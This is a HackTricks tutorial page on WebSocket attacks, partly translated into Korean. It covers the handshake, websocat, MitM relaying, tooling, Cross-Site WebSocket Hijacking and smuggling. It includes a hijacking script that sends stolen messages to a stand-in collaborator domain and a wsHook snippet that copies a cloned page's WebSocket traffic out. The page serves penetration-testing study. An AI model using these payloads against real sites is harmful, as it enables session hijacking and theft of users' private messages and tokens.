WebSocket Attacks

Reading time: 8 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

What are WebSockets

WebSocket 연결은 초기 HTTP 핸드셰이크를 통해 설정되며, 장기 지속을 위해 설계되어 언제든지 양방향 메시징이 가능하게 하여 거래 시스템이 필요하지 않습니다. 이는 WebSocket이 저지연 또는 서버 시작 통신이 필요한 애플리케이션, 예를 들어 실시간 금융 데이터 스트림에 특히 유리하게 만듭니다.

Establishment of WebSocket Connections

A detailed explanation on establishing WebSocket connections can be accessed here. In summary, WebSocket connections are usually initiated via client-side JavaScript as shown below:

javascript
var ws = new WebSocket("wss://normal-website.com/ws")

wss 프로토콜은 TLS로 보호된 WebSocket 연결을 의미하며, ws보안되지 않은 연결을 나타냅니다.

연결 설정 중에 브라우저와 서버 간에 HTTP를 통해 핸드셰이크가 수행됩니다. 핸드셰이크 과정은 브라우저가 요청을 보내고 서버가 응답하는 것으로 구성되며, 다음 예시에서 설명됩니다:

브라우저가 핸드셰이크 요청을 보냅니다:

javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

서버의 핸드셰이크 응답:

javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

연결이 설정되면 양방향으로 메시지 교환을 위해 열려 있습니다.

WebSocket 핸드셰이크의 주요 포인트:

  • ConnectionUpgrade 헤더는 WebSocket 핸드셰이크의 시작을 알립니다.
  • Sec-WebSocket-Version 헤더는 원하는 WebSocket 프로토콜 버전을 나타내며, 일반적으로 13입니다.
  • Base64로 인코딩된 무작위 값이 Sec-WebSocket-Key 헤더에 전송되어 각 핸드셰이크가 고유하도록 보장하며, 이는 캐싱 프록시와 관련된 문제를 방지하는 데 도움이 됩니다. 이 값은 인증을 위한 것이 아니라 응답이 잘못 구성된 서버나 캐시에서 생성되지 않았음을 확인하기 위한 것입니다.
  • 서버의 응답에 있는 Sec-WebSocket-Accept 헤더는 Sec-WebSocket-Key의 해시로, WebSocket 연결을 열려는 서버의 의도를 검증합니다.

이러한 기능은 핸드셰이크 프로세스가 안전하고 신뢰할 수 있도록 보장하여 효율적인 실시간 통신을 위한 길을 열어줍니다.

Linux 콘솔

websocat을 사용하여 websocket과의 원시 연결을 설정할 수 있습니다.

bash
websocat --insecure wss://10.10.10.10:8000 -v

웹소켓 서버를 생성하려면:

bash
websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket connections

클라이언트가 현재 로컬 네트워크에서 HTTP websocket에 연결되어 있는 것을 발견하면, 클라이언트와 서버 간의 MitM 공격을 수행하기 위해 ARP Spoofing Attack을 시도할 수 있습니다.
클라이언트가 연결을 시도할 때, 다음을 사용할 수 있습니다:

bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

You can use the tool https://github.com/PalindromeLabs/STEWS to discover, fingerprint and search for known 취약점 in websockets automatically.

Websocket Debug tools

  • Burp Suite supports MitM websockets communication in a very similar way it does it for regular HTTP communication.
  • The socketsleuth Burp Suite extension will allow you to manage better Websocket communications in Burp by getting the history, setting interception rules, using match and replace rules, using Intruder and AutoRepeater.
  • WSSiP: Short for "WebSocket/Socket.io Proxy", this tool, written in Node.js, provides a user interface to capture, intercept, send custom messages and view all WebSocket and Socket.IO communications between the client and server.
  • wsrepl is an interactive websocket REPL designed specifically for penetration testing. It provides an interface for observing incoming websocket messages and sending new ones, with an easy-to-use framework for automating this communication.
  • https://websocketking.com/ it's a web to communicate with other webs using websockets.
  • https://hoppscotch.io/realtime/websocket among other types of communications/protocols, it provides a web to communicate with other webs using websockets.

Decrypting Websocket

Websocket Lab

In Burp-Suite-Extender-Montoya-Course you have a code to launch a web using websockets and in this post you can find an explanation.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, also known as cross-origin WebSocket hijacking, is identified as a specific case of Cross-Site Request Forgery (CSRF) affecting WebSocket handshakes. This 취약점 arises when WebSocket handshakes authenticate solely via HTTP cookies without CSRF tokens or similar security measures.

Attackers can exploit this by hosting a malicious web page that initiates a cross-site WebSocket connection to a vulnerable application. Consequently, this connection is treated as part of the victim's session with the application, exploiting the lack of CSRF protection in the session handling mechanism.

Simple Attack

Note that when establishing a websocket connection the cookie is sent to the server. The server might be using it to relate each specific user with his websocket session based on the sent cookie.

Then, if for example the websocket server sends back the history of the conversation of a user if a msg with "READY" is sent, then a simple XSS establishing the connection (the cookie will be sent automatically to authorise the victim user) sending "READY" will be able to retrieve the history of the conversation.

html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

이 블로그 게시물 https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/에서 공격자는 웹 소켓 통신이 발생하는 도메인의 서브도메인에서 임의의 Javascript를 실행하는 데 성공했습니다. 서브도메인이었기 때문에 쿠키전송되었고, Websocket이 Origin을 제대로 확인하지 않았기 때문에, 이를 통해 통신하고 토큰을 훔치는 것이 가능했습니다.

Stealing data from user

당신이 가장하고 싶은 웹 애플리케이션을 복사하세요 (예: .html 파일) 그리고 웹소켓 통신이 발생하는 스크립트 안에 이 코드를 추가하세요:

javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

이제 wsHook.js 파일을 https://github.com/skepticfx/wshook에서 다운로드하고 웹 파일이 있는 폴더에 저장하세요.
웹 애플리케이션을 노출시키고 사용자가 연결하게 하면 websocket을 통해 전송된 메시지와 수신된 메시지를 훔칠 수 있습니다:

javascript
sudo python3 -m http.server 80

레이스 조건

WebSockets에서 레이스 조건도 존재합니다, 자세한 정보를 확인하세요.

기타 취약점

Web Sockets는 서버 측과 클라이언트 측에 데이터를 전송하는 메커니즘으로, 서버와 클라이언트가 정보를 처리하는 방식에 따라 Web Sockets는 XSS, SQLi 또는 웹에서 일반적으로 발생하는 취약점을 웹소켓의 사용자 입력을 사용하여 악용하는 데 사용될 수 있습니다.

WebSocket 스머글링

이 취약점은 역방향 프록시 제한을 우회할 수 있게 해주며, 웹소켓 통신이 설정되었다고 믿게 만들 수 있습니다 (사실이 아니더라도). 이는 공격자가 숨겨진 엔드포인트에 접근할 수 있게 할 수 있습니다. 더 많은 정보는 다음 페이지를 확인하세요:

Upgrade Header Smuggling

참고문헌

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기